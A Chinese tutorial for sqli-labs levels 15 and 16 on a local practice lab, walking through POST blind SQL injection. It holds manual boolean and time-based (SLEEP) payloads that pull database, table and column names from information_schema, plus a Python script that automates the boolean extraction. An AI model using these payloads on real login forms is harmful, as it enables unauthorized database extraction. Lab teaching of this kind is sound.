【sql靶场】第15、16关-post提交盲注保姆级教程

目录

【sql靶场】第15、16关-post提交盲注保姆级教程

1.知识回顾

‌GET请求‌

‌POST请求‌

or与and

2.第十五关

1.布尔盲注的手动注入

1.判断

2.数据库名长度

3.数据库名字符

4.表名数

5.表名长度

6.表名符

7.字段数

8.字段长度

9.字段符

2.布尔盲注的脚本注入

3.时间注入的手动注入

1.判断

2.确认时间盲注

3.数据库名长度

4.数据库名字符

5.表名数

6.表名长度

7.表名符

8.字段数

9.字段长度

10.字段符

4.时间注入的脚本注入

3.第十六关


【sql靶场】第15、16关-post提交盲注保姆级教程

关卡讲解前回顾小知识,不看可以跳过,如果还不太会报错注入建议看sql靶场5-6关(报错注入)保姆级教程_sql-labs第5关bp抓包跟hachbar-CSDN博客

1.知识回顾

GET请求

数据通过URL参数传递,明文暴露于地址栏,适用于非敏感数据(如搜索关键词)‌。

受URL长度限制(通常≤2048字符)‌。

POST请求

数据通过请求体传输,URL中仅包含资源路径(如 https://example.com/login)‌。

适合提交敏感信息(如密码)或大量数据(如文件上传)‌

提交方式从get变成了post,使得数据不会通过URL参数传递,明文暴露于地址栏,所以使用post提交POST请求的数据存储在‌**请求体(Body)**‌中,而非URL参数,URL中仅包含资源路径,这里就不需要再地址栏进行测试,但是我们可以在页面的账号密码输入里尝试,可不可以进行注入

or与and

or在语句中为或的意思,只要满足一个就可以

and在语句中为与的意思,两个都要满足

2.第十五关

1.布尔盲注的手动注入

方法一

在页面的输入框直接进行注入,使用的注释符#,不能使用#

方法二

使用BurpSuite,点击代理然后点击截断的截断请求,然后打开火狐浏览器,打开关卡页面,随便输入账号密码,点击提交

在这里的注入注释符#与#都可以

打开重发器,复制到,发送,输入目标IP与端口,响应

个人建议使用BurpSuite,因为可以清楚看见自己的注入,如果出现错误比较好检查,也比较好修改,而在页面的输入框直接注入,第一由于输入框的大小限制,很影响注入语句的输入与观看,第二输入提交后注入语句会变成空,如果报错很难检查与修改错误

如果没有BurpSuite,可以观看Burp Suite Professional的下载安装与使用-CSDN博客

1.判断

布尔盲注了,这种页面只会有成功和错误两个状态的页面,不会出现报错显示,这种可以尝试可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入

在这里注入要注意一个点,如果不知道用户名就使用or进行连接,这样只要后面的判断语句正确就会返回成功的页面;如果要使用and,就需要前面的用户名与后面的判断语句一起为真才可以

可以通过下面语句判断

复制代码
1' or '1'='1'#
1' or '1'='2'#
2.数据库名长度

手动进行布尔盲注十分麻烦,首先先要注入出名字的长度

复制代码
1' or (select length(database())>8) # 
1' or (select length(database())>6) #
3.数据库名字符

一般名字命名的字符是在32-128之间,所以测试一般在里面测试

可以用二分法进行测试,太多了选择几个

复制代码
1' or ((select ascii(substr(database(),1,1)))>80) # 
1' or ((select ascii(substr(database(),1,1)))>104) # 
1' or ((select ascii(substr(database(),1,1)))>116) # 
1' or ((select ascii(substr(database(),1,1)))>110) # 
1' or ((select ascii(substr(database(),1,1)))>113) #
1' or ((select ascii(substr(database(),1,1)))>114) #

最后确定是ASCLL是115,对照ASCLL是字符s

剩下的也这样一个一个慢慢的注入出来

4.表名数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量

复制代码
1' or (select count(*) from information_schema.tables where table_schema=database()) > 3#
1' or (select count(*) from information_schema.tables where table_schema=database()) > 5#

表名数为4

5.表名长度
复制代码
1' or (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 # 
1' or (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 # 

结果是第一个表的名字长度为7

6.表名符
复制代码
1' or (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) # 
7.字段数
复制代码
1' or (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2 # 
1' or (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>3 #

结果是3个字段数

8.字段长度
复制代码
1' or (select length(column_name) from information_schema.columns where table_schema= 'security' or table_name='users' limit 1,1)>6 # 
9.字段符
复制代码
1' or (ascii(substr((select column_name from information_schema.columns where table_schema= 'security' or table_name='users' limit 0,1),1,1))>32) # 
2.布尔盲注的脚本注入
复制代码
import requests
​
​
def inject_database(url):
    name = ''
    # 初始化空字符串,存储最终数据库名
    for i in range(1, 100):
        # 遍历字符位置(假设数据库名最长99字符)
        low = 32
        # ASCII可打印字符起始值(空格)
        high = 128
        # ASCII结束值(DEL字符,实际只用到127)
        mid = (low + high) // 2
        # 二分法初始中间值
        while low < high:
            # 二分查找当前字符的ASCII值
           data = {
                "uname" : "1' or ascii(substr(database(),%d,1))>%d#" % (i, mid),
                "passwd" : 'aaaaa'
            }
            r = requests.post(url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            # 当前字符ASCII值 > mid,调整下限
            else:
                high = mid
            mid = (low + high) // 2
​
            if mid == 32:
            # 若mid为32(空格),终止循环
                break
        name = name + chr(mid)
        # 将ASCII转为字符并拼接
        print(name)
        # 实时输出当前结果
​
​
if __name__ == "__main__":
    url = "http://127.0.0.1:8080/sqli-labs-master/Less-8/index.php"
    # 网站地址,千万千万注意网址一定要是自己搭建的sql网址,不能用我的,否则无法使用
    inject_database(url)
    # 包含网站
3.时间注入的手动注入
1.判断

当回显,报错显示,及布尔盲注都无法使用时,即无论怎么输入只有一个页面不会变化

2.确认时间盲注

使用的语法有:IF(condition, value_if_true, value_if_false)

测试是否存在时间盲注即闭合方式

这里我尝试过使用or的连接,但是不行,于是我使用了and连接方式

复制代码
admin' AND IF(1=1, SLEEP(5), 0) #
3.数据库名长度
复制代码
admin' and if(length(database())>8,sleep(5),1)# 
admin' and if(length(database())>6,sleep(5),1)#  
4.数据库名字符

一般名字命名的字符是在32-128之间,所以测试一般在里面测试

可以用二分法进行测试,太多了选择几个

复制代码
admin'and if(ascii(substr((select database()),1,1))>80,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>104,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>116,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>110,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>114,sleep(5),1)# 
5.表名数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量

复制代码
admin'and if(((select count(*) from information_schema.tables where table_schema=database())>3),sleep(5),1)# 
admin'and if(((select count(*) from information_schema.tables where table_schema=database())>5),sleep(5),1)# 

表名数为4

6.表名长度
复制代码
admin'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6),sleep(5),1)# 
admin'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8),sleep(5),1)# 

结果是第一个表的名字长度为7

7.表名符
复制代码
admin'and if((ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)# 
8.字段数
复制代码
admin'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2),sleep(5),1)# 
admin'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4),sleep(5),1)# 

结果是3个字段数

9.字段长度
复制代码
admin'and if(((select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>1),sleep(5),1)# 
10.字段符
复制代码
admin'and if((ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32),sleep(5),1)# 
4.时间注入的脚本注入

3.第十六关

这一关的闭合方式为") 剩下的基本与第十五关一样

相关推荐
郑龙飞10 分钟前
MySQL TIMESTAMP vs DATETIME:你真的用对了吗?
数据库
眼镜哥(with glasses)32 分钟前
本地部署Deep Seek-R1,搭建个人知识库——笔记
笔记
西门吹雪分身1 小时前
Redis复制(replica)主从模式
数据库·redis·缓存
网安Ruler1 小时前
vulnhub-Hackme-隧道建立、SQL注入、详细解题、思路清晰。
数据库·sql·oracle
Q_Boom1 小时前
MySQL中的回表是什么?
数据库·mysql·面试
二月十六1 小时前
SQL Server性能分析利器:SET STATISTICS TIME ON 详解与实战案例
数据库·性能分析
愚昧之山绝望之谷开悟之坡1 小时前
共享内存shm_size和内存锁ulimits.memlock配置
人工智能·笔记
akbar&2 小时前
计算机四级 - 数据库原理 - 第8章「分布式、对象-关系、NOSQL数据库」
数据库·笔记
多多*2 小时前
牛客周赛84 题解 Java ABCDEFG AK实录
数据库·windows·macos·github·objective-c·mybatis·cocoa
Three~stone3 小时前
Vue学习笔记集--六大指令
vue.js·笔记·学习